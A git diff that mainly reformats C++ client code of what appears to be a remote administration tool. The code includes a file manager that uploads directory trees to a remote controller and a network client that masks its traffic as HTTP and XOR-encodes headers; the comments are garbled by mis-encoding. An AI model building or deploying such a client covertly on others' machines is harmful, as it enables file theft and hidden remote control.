nRet = 0; + DWORD dwSizeHigh; + DWORD dwSizeLow; + // 1 ֽtoken, 8ֽڴС, ļ, '\0' + HANDLE hFile; + // 浱ǰڲļ + memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); + strcpy(m_strCurrentProcessFileName, lpszFileName); - hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); - if (hFile == INVALID_HANDLE_VALUE) - return FALSE; - dwSizeLow = GetFileSize(hFile, &dwSizeHigh); - CloseHandle(hFile); - // ݰļ - int nPacketSize = lstrlen(lpszFileName) + 10; - BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); - if (bPacket==NULL) - { - return 0; - } - memset(bPacket, 0, nPacketSize); - - bPacket[0] = TOKEN_FILE_SIZE; - FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1); - pFileSize->dwSizeHigh = dwSizeHigh; - pFileSize->dwSizeLow = dwSizeLow; - memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1); + hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if (hFile == INVALID_HANDLE_VALUE) + return FALSE; + dwSizeLow = GetFileSize(hFile, &dwSizeHigh); + CloseHandle(hFile); + // ݰļ + int nPacketSize = lstrlen(lpszFileName) + 10; + BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); + if (bPacket==NULL) { + return 0; + } + memset(bPacket, 0, nPacketSize); - nRet = Send(bPacket, nPacketSize); - LocalFree(bPacket); - return nRet; + bPacket[0] = TOKEN_FILE_SIZE; + FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1); + pFileSize->dwSizeHigh = dwSizeHigh; + pFileSize->dwSizeLow = dwSizeLow; + memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1); + + nRet = Send(bPacket, nPacketSize); + LocalFree(bPacket); + return nRet; } UINT CFileManager::SendFileData(LPBYTE lpBuffer) { - UINT nRet = 0; - FILESIZE *pFileSize; - char *lpFileName; + UINT nRet = 0; + FILESIZE *pFileSize; + char *lpFileName; - pFileSize = (FILESIZE *)lpBuffer; - lpFileName = m_strCurrentProcessFileName; + pFileSize = (FILESIZE *)lpBuffer; + lpFileName = m_strCurrentProcessFileName; - // Զһ - if (pFileSize->dwSizeLow == -1) - { - UploadNext(); - return 0; - } - HANDLE hFile; - hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); - if (hFile == INVALID_HANDLE_VALUE) - return -1; + // Զһ + if (pFileSize->dwSizeLow == -1) { + UploadNext(); + return 0; + } + HANDLE hFile; + hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if (hFile == INVALID_HANDLE_VALUE) + return -1; - SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN); + SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN); - int nHeadLength = 9; // 1 + 4 + 4ݰͷС - DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; - DWORD nNumberOfBytesRead = 0; + int nHeadLength = 9; // 1 + 4 + 4ݰͷС + DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; + DWORD nNumberOfBytesRead = 0; - LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER); - if (lpPacket == NULL) - return -1; - // Token, Сƫƣļ - lpPacket[0] = TOKEN_FILE_DATA; - memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE)); - ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); - CloseHandle(hFile); + LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER); + if (lpPacket == NULL) + return -1; + // Token, Сƫƣļ + lpPacket[0] = TOKEN_FILE_DATA; + memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE)); + ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); + CloseHandle(hFile); - if (nNumberOfBytesRead > 0) - { - int nPacketSize = nNumberOfBytesRead + nHeadLength; - nRet = Send(lpPacket, nPacketSize); - } - else - { - UploadNext(); - } + if (nNumberOfBytesRead > 0) { + int nPacketSize = nNumberOfBytesRead + nHeadLength; + nRet = Send(lpPacket, nPacketSize); + } else { + UploadNext(); + } - LocalFree(lpPacket); + LocalFree(lpPacket); - return nRet; + return nRet; } // һļ void CFileManager::UploadNext() { - std::list ::iterator it = m_UploadList.begin(); - // ɾһ - m_UploadList.erase(it); - // ϴ - if(m_UploadList.empty()) - { - SendToken(TOKEN_TRANSFER_FINISH); - } - else - { - // ϴһ - it = m_UploadList.begin(); - SendFileSize((*it).c_str()); - } + std::list ::iterator it = m_UploadList.begin(); + // ɾһ + m_UploadList.erase(it); + // ϴ + if(m_UploadList.empty()) { + SendToken(TOKEN_TRANSFER_FINISH); + } else { + // ϴһ + it = m_UploadList.begin(); + SendFileSize((*it).c_str()); + } } int CFileManager::SendToken(BYTE bToken) { - return Send(&bToken, 1); + return Send(&bToken, 1); } bool CFileManager::UploadToRemote(LPBYTE lpBuffer) { - if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\') - { - FixedUploadList((char *)lpBuffer); - if (m_UploadList.empty()) - { - StopTransfer(); - return true; - } - } - else - { - m_UploadList.push_back((char *)lpBuffer); - } + if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\') { + FixedUploadList((char *)lpBuffer); + if (m_UploadList.empty()) { + StopTransfer(); + return true; + } + } else { + m_UploadList.push_back((char *)lpBuffer); + } - std::list ::iterator it = m_UploadList.begin(); - // ͵һļ - SendFileSize((*it).c_str()); + std::list ::iterator it = m_UploadList.begin(); + // ͵һļ + SendFileSize((*it).c_str()); - return true; + return true; } bool CFileManager::FixedUploadList(LPCTSTR lpPathName) { - WIN32_FIND_DATA wfd; - char lpszFilter[MAX_PATH]; - char *lpszSlash = NULL; - memset(lpszFilter, 0, sizeof(lpszFilter)); + WIN32_FIND_DATA wfd; + char lpszFilter[MAX_PATH]; + char *lpszSlash = NULL; + memset(lpszFilter, 0, sizeof(lpszFilter)); - if (lpPathName[lstrlen(lpPathName) - 1] != '\\') - lpszSlash = "\\"; - else - lpszSlash = ""; + if (lpPathName[lstrlen(lpPathName) - 1] != '\\') + lpszSlash = "\\"; + else + lpszSlash = ""; - wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash); + wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash); - HANDLE hFind = FindFirstFile(lpszFilter, &wfd); - if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ - return false; - - do - { - if (wfd.cFileName[0] != '.') - { - if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) - { - char strDirectory[MAX_PATH]; - wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); - FixedUploadList(strDirectory); - } - else - { - char strFile[MAX_PATH]; - wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); - m_UploadList.push_back(strFile); - } - } - } while (FindNextFile(hFind, &wfd)); - - FindClose(hFind); // رղҾ - return true; + HANDLE hFind = FindFirstFile(lpszFilter, &wfd); + if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + return false; + + do { + if (wfd.cFileName[0] != '.') { + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + char strDirectory[MAX_PATH]; + wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); + FixedUploadList(strDirectory); + } else { + char strFile[MAX_PATH]; + wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName); + m_UploadList.push_back(strFile); + } + } + } while (FindNextFile(hFind, &wfd)); + + FindClose(hFind); // رղҾ + return true; } void CFileManager::StopTransfer() { - if (!m_UploadList.empty()) - m_UploadList.clear(); - SendToken(TOKEN_TRANSFER_FINISH); + if (!m_UploadList.empty()) + m_UploadList.clear(); + SendToken(TOKEN_TRANSFER_FINISH); } void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer) { - FILESIZE *pFileSize = (FILESIZE *)lpBuffer; - // 浱ǰڲļ - memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); - strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8); + FILESIZE *pFileSize = (FILESIZE *)lpBuffer; + // 浱ǰڲļ + memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); + strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8); - // ļ - m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow; - - // Ŀ¼ - MakeSureDirectoryPathExists(m_strCurrentProcessFileName); + // ļ + m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow; - WIN32_FIND_DATA FindFileData; - HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData); - - if (hFind != INVALID_HANDLE_VALUE - && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL - && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL - && m_nTransferMode != TRANSFER_MODE_JUMP_ALL - ) - { - SendToken(TOKEN_GET_TRANSFER_MODE); - } - else - { - GetFileData(); - } - FindClose(hFind); + // Ŀ¼ + MakeSureDirectoryPathExists(m_strCurrentProcessFileName); + + WIN32_FIND_DATA FindFileData; + HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData); + + if (hFind != INVALID_HANDLE_VALUE + && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL + && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL + && m_nTransferMode != TRANSFER_MODE_JUMP_ALL + ) { + SendToken(TOKEN_GET_TRANSFER_MODE); + } else { + GetFileData(); + } + FindClose(hFind); } void CFileManager::GetFileData() { - int nTransferMode; - switch (m_nTransferMode) - { - case TRANSFER_MODE_OVERWRITE_ALL: - nTransferMode = TRANSFER_MODE_OVERWRITE; - break; - case TRANSFER_MODE_ADDITION_ALL: - nTransferMode = TRANSFER_MODE_ADDITION; - break; - case TRANSFER_MODE_JUMP_ALL: - nTransferMode = TRANSFER_MODE_JUMP; - break; - default: - nTransferMode = m_nTransferMode; - } - - WIN32_FIND_DATA FindFileData; - HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData); - - // 1ֽToken,ֽƫƸλֽƫƵλ - BYTE bToken[9]; - DWORD dwCreationDisposition = 0; // ļ򿪷ʽ - memset(bToken, 0, sizeof(bToken)); - bToken[0] = TOKEN_DATA_CONTINUE; - - // ļѾ - if (hFind != INVALID_HANDLE_VALUE) - { - // ʾʲô - // - if (nTransferMode == TRANSFER_MODE_ADDITION) - { - memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); - memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); - dwCreationDisposition = OPEN_EXISTING; - } - // - else if (nTransferMode == TRANSFER_MODE_OVERWRITE) - { - // ƫ0 - memset(bToken + 1, 0, 8); - // ´ - dwCreationDisposition = CREATE_ALWAYS; - } - // һ - else if (nTransferMode == TRANSFER_MODE_JUMP) - { - DWORD dwOffset = -1; - memcpy(bToken + 5, &dwOffset, 4); - dwCreationDisposition = OPEN_EXISTING; - } - } - else - { - // ƫ0 - memset(bToken + 1, 0, 8); - // ´ - dwCreationDisposition = CREATE_ALWAYS; - } - FindClose(hFind); + int nTransferMode; + switch (m_nTransferMode) { + case TRANSFER_MODE_OVERWRITE_ALL: + nTransferMode = TRANSFER_MODE_OVERWRITE; + break; + case TRANSFER_MODE_ADDITION_ALL: + nTransferMode = TRANSFER_MODE_ADDITION; + break; + case TRANSFER_MODE_JUMP_ALL: + nTransferMode = TRANSFER_MODE_JUMP; + break; + default: + nTransferMode = m_nTransferMode; + } - HANDLE hFile = - CreateFile - ( - m_strCurrentProcessFileName, - GENERIC_WRITE, - FILE_SHARE_WRITE, - NULL, - dwCreationDisposition, - FILE_ATTRIBUTE_NORMAL, - 0 - ); - // Ҫ - if (hFile == INVALID_HANDLE_VALUE) - { - m_nCurrentProcessFileLength = 0; - return; - } - CloseHandle(hFile); + WIN32_FIND_DATA FindFileData; + HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData); - Send(bToken, sizeof(bToken)); + // 1ֽToken,ֽƫƸλֽƫƵλ + BYTE bToken[9]; + DWORD dwCreationDisposition = 0; // ļ򿪷ʽ + memset(bToken, 0, sizeof(bToken)); + bToken[0] = TOKEN_DATA_CONTINUE; + + // ļѾ + if (hFind != INVALID_HANDLE_VALUE) { + // ʾʲô + // + if (nTransferMode == TRANSFER_MODE_ADDITION) { + memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); + memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); + dwCreationDisposition = OPEN_EXISTING; + } + // + else if (nTransferMode == TRANSFER_MODE_OVERWRITE) { + // ƫ0 + memset(bToken + 1, 0, 8); + // ´ + dwCreationDisposition = CREATE_ALWAYS; + } + // һ + else if (nTransferMode == TRANSFER_MODE_JUMP) { + DWORD dwOffset = -1; + memcpy(bToken + 5, &dwOffset, 4); + dwCreationDisposition = OPEN_EXISTING; + } + } else { + // ƫ0 + memset(bToken + 1, 0, 8); + // ´ + dwCreationDisposition = CREATE_ALWAYS; + } + FindClose(hFind); + + HANDLE hFile = + CreateFile + ( + m_strCurrentProcessFileName, + GENERIC_WRITE, + FILE_SHARE_WRITE, + NULL, + dwCreationDisposition, + FILE_ATTRIBUTE_NORMAL, + 0 + ); + // Ҫ + if (hFile == INVALID_HANDLE_VALUE) { + m_nCurrentProcessFileLength = 0; + return; + } + CloseHandle(hFile); + + Send(bToken, sizeof(bToken)); } void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize) { - // - BYTE *pData; - DWORD dwBytesToWrite; - DWORD dwBytesWrite; - int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 - FILESIZE *pFileSize; - // õݵƫ - pData = lpBuffer + 8; - - pFileSize = (FILESIZE *)lpBuffer; + // + BYTE *pData; + DWORD dwBytesToWrite; + DWORD dwBytesWrite; + int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + FILESIZE *pFileSize; + // õݵƫ + pData = lpBuffer + 8; - // õļеƫ - LONG dwOffsetHigh = pFileSize->dwSizeHigh; - LONG dwOffsetLow = pFileSize->dwSizeLow; - - dwBytesToWrite = nSize - 8; - - HANDLE hFile = - CreateFile - ( - m_strCurrentProcessFileName, - GENERIC_WRITE, - FILE_SHARE_WRITE, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - 0 - ); - - SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); - - int nRet = 0; - // дļ - nRet = WriteFile - ( - hFile, - pData, - dwBytesToWrite, - &dwBytesWrite, - NULL - ); - CloseHandle(hFile); - // Ϊ˱Ƚϣ - BYTE bToken[9]; - bToken[0] = TOKEN_DATA_CONTINUE; - dwOffsetLow += dwBytesWrite; - memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); - memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - Send(bToken, sizeof(bToken)); + pFileSize = (FILESIZE *)lpBuffer; + + // õļеƫ + LONG dwOffsetHigh = pFileSize->dwSizeHigh; + LONG dwOffsetLow = pFileSize->dwSizeLow; + + dwBytesToWrite = nSize - 8; + + HANDLE hFile = + CreateFile + ( + m_strCurrentProcessFileName, + GENERIC_WRITE, + FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + 0 + ); + + SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); + + int nRet = 0; + // дļ + nRet = WriteFile + ( + hFile, + pData, + dwBytesToWrite, + &dwBytesWrite, + NULL + ); + CloseHandle(hFile); + // Ϊ˱Ƚϣ + BYTE bToken[9]; + bToken[0] = TOKEN_DATA_CONTINUE; + dwOffsetLow += dwBytesWrite; + memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); + memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); + Send(bToken, sizeof(bToken)); } void CFileManager::SetTransferMode(LPBYTE lpBuffer) { - memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode)); - GetFileData(); + memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode)); + GetFileData(); } void CFileManager::CreateFolder(LPBYTE lpBuffer) { - MakeSureDirectoryPathExists((char *)lpBuffer); - SendToken(TOKEN_CREATEFOLDER_FINISH); + MakeSureDirectoryPathExists((char *)lpBuffer); + SendToken(TOKEN_CREATEFOLDER_FINISH); } void CFileManager::Rename(LPBYTE lpBuffer) { - LPCTSTR lpExistingFileName = (char *)lpBuffer; - LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1; - ::MoveFile(lpExistingFileName, lpNewFileName); - SendToken(TOKEN_RENAME_FINISH); + LPCTSTR lpExistingFileName = (char *)lpBuffer; + LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1; + ::MoveFile(lpExistingFileName, lpNewFileName); + SendToken(TOKEN_RENAME_FINISH); } diff --git a/client/FileManager.h b/client/FileManager.h index 8abf139..2b2af77 100644 --- a/client/FileManager.h +++ b/client/FileManager.h @@ -17,43 +17,42 @@ typedef IOCPClient CClientSocket; #pragma once #endif // _MSC_VER > 1000 -typedef struct -{ - UINT nFileSize; // ļС - UINT nSendSize; // ѷʹС -}SENDFILEPROGRESS, *PSENDFILEPROGRESS; +typedef struct { + UINT nFileSize; // ļС + UINT nSendSize; // ѷʹС +} SENDFILEPROGRESS, *PSENDFILEPROGRESS; class CFileManager : public CManager { public: - virtual void OnReceive(PBYTE lpBuffer, ULONG nSize); - UINT SendDriveList(); - CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr); - virtual ~CFileManager(); + virtual void OnReceive(PBYTE lpBuffer, ULONG nSize); + UINT SendDriveList(); + CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr); + virtual ~CFileManager(); private: - std::list m_UploadList; - UINT m_nTransferMode; - char m_strCurrentProcessFileName[MAX_PATH]; // ǰڴļ - __int64 m_nCurrentProcessFileLength; // ǰڴļij - bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); - bool UploadToRemote(LPBYTE lpBuffer); - bool FixedUploadList(LPCTSTR lpszDirectory); - void StopTransfer(); - UINT SendFilesList(LPCTSTR lpszDirectory); - bool DeleteDirectory(LPCTSTR lpszDirectory); - UINT SendFileSize(LPCTSTR lpszFileName); - UINT SendFileData(LPBYTE lpBuffer); - void CreateFolder(LPBYTE lpBuffer); - void Rename(LPBYTE lpBuffer); - int SendToken(BYTE bToken); + std::list m_UploadList; + UINT m_nTransferMode; + char m_strCurrentProcessFileName[MAX_PATH]; // ǰڴļ + __int64 m_nCurrentProcessFileLength; // ǰڴļij + bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); + bool UploadToRemote(LPBYTE lpBuffer); + bool FixedUploadList(LPCTSTR lpszDirectory); + void StopTransfer(); + UINT SendFilesList(LPCTSTR lpszDirectory); + bool DeleteDirectory(LPCTSTR lpszDirectory); + UINT SendFileSize(LPCTSTR lpszFileName); + UINT SendFileData(LPBYTE lpBuffer); + void CreateFolder(LPBYTE lpBuffer); + void Rename(LPBYTE lpBuffer); + int SendToken(BYTE bToken); - void CreateLocalRecvFile(LPBYTE lpBuffer); - void SetTransferMode(LPBYTE lpBuffer); - void GetFileData(); - void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize); - void UploadNext(); - bool OpenFile(LPCTSTR lpFile, INT nShowCmd); + void CreateLocalRecvFile(LPBYTE lpBuffer); + void SetTransferMode(LPBYTE lpBuffer); + void GetFileData(); + void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize); + void UploadNext(); + bool OpenFile(LPCTSTR lpFile, INT nShowCmd); }; #endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_) diff --git a/client/IOCPBase.h b/client/IOCPBase.h index 232caa1..8a4782d 100644 --- a/client/IOCPBase.h +++ b/client/IOCPBase.h @@ -1,9 +1,10 @@ #include "common/commands.h" -class IOCPBase { +class IOCPBase +{ public: - virtual BOOL IsRunning() const = 0; - virtual VOID RunEventLoop(const BOOL& bCondition) = 0; + virtual BOOL IsRunning() const = 0; + virtual VOID RunEventLoop(const BOOL& bCondition) = 0; }; typedef BOOL(*TrailCheck)(void); diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 55905c0..76e3b45 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -12,7 +12,10 @@ #include // For struct sockaddr_in #include // For close() #include // For memset() -inline int WSAGetLastError() { return -1; } +inline int WSAGetLastError() +{ + return -1; +} #define USING_COMPRESS 1 #endif #include "IOCPClient.h" @@ -46,454 +49,433 @@ inline int WSAGetLastError() { return -1; } ////////////////////////////////////////////////////////////////////// #ifndef _WIN32 -BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) { - // TCP ѡ - int enable = 1; - if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) { - Mprintf("Failed to enable TCP keep-alive\n"); - return FALSE; - } +BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) +{ + // TCP ѡ + int enable = 1; + if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) { + Mprintf("Failed to enable TCP keep-alive\n"); + return FALSE; + } - // TCP_KEEPIDLE (3ӿкʼ keep-alive ) - if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) { - Mprintf("Failed to set TCP_KEEPIDLE\n"); - return FALSE; - } + // TCP_KEEPIDLE (3ӿкʼ keep-alive ) + if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) { + Mprintf("Failed to set TCP_KEEPIDLE\n"); + return FALSE; + } - // TCP_KEEPINTVL (5Լ) - int keepAliveInterval = 5; // 5 - if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) { - Mprintf("Failed to set TCP_KEEPINTVL\n"); - return FALSE; - } + // TCP_KEEPINTVL (5Լ) + int keepAliveInterval = 5; // 5 + if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) { + Mprintf("Failed to set TCP_KEEPINTVL\n"); + return FALSE; + } - // TCP_KEEPCNT (5̽ΪӶϿ) - int keepAliveProbes = 5; - if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) { - Mprintf("Failed to set TCP_KEEPCNT\n"); - return FALSE; - } + // TCP_KEEPCNT (5̽ΪӶϿ) + int keepAliveProbes = 5; + if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) { + Mprintf("Failed to set TCP_KEEPCNT\n"); + return FALSE; + } - Mprintf("TCP keep-alive settings applied successfully\n"); - return TRUE; + Mprintf("TCP keep-alive settings applied successfully\n"); + return TRUE; } #endif VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) { - m_Manager = Manager; + m_Manager = Manager; - m_DataProcess = dataProcess; + m_DataProcess = dataProcess; } -IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder, - const std::string& pubIP) : g_bExit(bExit) +IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder, + const std::string& pubIP) : g_bExit(bExit) { - m_sLocPublicIP = pubIP; - m_ServerAddr = {}; - m_nHostPort = 0; - m_Manager = NULL; - m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask(); - auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum)); - m_EncoderType = encoder; - m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder(); + m_sLocPublicIP = pubIP; + m_ServerAddr = {}; + m_nHostPort = 0; + m_Manager = NULL; + m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask(); + auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum)); + m_EncoderType = encoder; + m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder(); #ifdef _WIN32 - WSADATA wsaData; - WSAStartup(MAKEWORD(2, 2), &wsaData); + WSADATA wsaData; + WSAStartup(MAKEWORD(2, 2), &wsaData); #endif - m_sClientSocket = INVALID_SOCKET; - m_hWorkThread = NULL; - m_bWorkThread = S_STOP; + m_sClientSocket = INVALID_SOCKET; + m_hWorkThread = NULL; + m_bWorkThread = S_STOP; - m_bIsRunning = TRUE; - m_bConnected = FALSE; + m_bIsRunning = TRUE; + m_bConnected = FALSE; - m_exit_while_disconnect = exit_while_disconnect; + m_exit_while_disconnect = exit_while_disconnect; #if USING_CTX - m_Cctx = ZSTD_createCCtx(); - m_Dctx = ZSTD_createDCtx(); - auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 4); - if (Z_FAILED(n)) { - ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0); - } - ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL); - ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_hashLog, 15); - ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_chainLog, 16); - ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_searchLog, 1); - ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_windowLog, 19); + m_Cctx = ZSTD_createCCtx(); + m_Dctx = ZSTD_createDCtx(); + auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 4); + if (Z_FAILED(n)) { + ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0); + } + ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL); + ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_hashLog, 15); + ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_chainLog, 16); + ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_searchLog, 1); + ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_windowLog, 19); #endif } IOCPClient::~IOCPClient() { - m_bIsRunning = FALSE; - Disconnect(); + m_bIsRunning = FALSE; + Disconnect(); - if (m_hWorkThread!=NULL) - { - CloseHandle(m_hWorkThread); - m_hWorkThread = NULL; - } + if (m_hWorkThread!=NULL) { + CloseHandle(m_hWorkThread); + m_hWorkThread = NULL; + } #ifdef _WIN32 - WSACleanup(); + WSACleanup(); #endif - while (S_RUN == m_bWorkThread) - Sleep(10); + while (S_RUN == m_bWorkThread) + Sleep(10); - m_bWorkThread = S_END; + m_bWorkThread = S_END; #if USING_CTX - ZSTD_freeCCtx(m_Cctx); - ZSTD_freeDCtx(m_Dctx); + ZSTD_freeCCtx(m_Cctx); + ZSTD_freeDCtx(m_Dctx); #endif - m_masker->Destroy(); - SAFE_DELETE(m_Encoder); + m_masker->Destroy(); + SAFE_DELETE(m_Encoder); } // ȡIPַ std::string GetIPAddress(const char *hostName) { #ifdef _WIN32 - struct sockaddr_in sa = { 0 }; - if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { - return hostName; - } - struct hostent *host = gethostbyname(hostName); + struct sockaddr_in sa = { 0 }; + if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) { + return hostName; + } + struct hostent *host = gethostbyname(hostName); #ifdef _DEBUG - if (host == NULL) return ""; - Mprintf("IPΪ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6"); - for (int i = 0; host->h_addr_list[i]; ++i) - Mprintf("ȡĵ%dIP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i])); + if (host == NULL) return ""; + Mprintf("IPΪ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6"); + for (int i = 0; host->h_addr_list[i]; ++i) + Mprintf("ȡĵ%dIP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i])); #endif - if (host == NULL || host->h_addr_list == NULL) - return ""; - return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : ""; + if (host == NULL || host->h_addr_list == NULL) + return ""; + return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : ""; #else - struct addrinfo hints, * res; - memset(&hints, 0, sizeof(hints)); - hints.ai_family = AF_INET; // IPv4 - hints.ai_socktype = SOCK_STREAM; // TCP socket + struct addrinfo hints, * res; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET; // IPv4 + hints.ai_socktype = SOCK_STREAM; // TCP socket - int status = 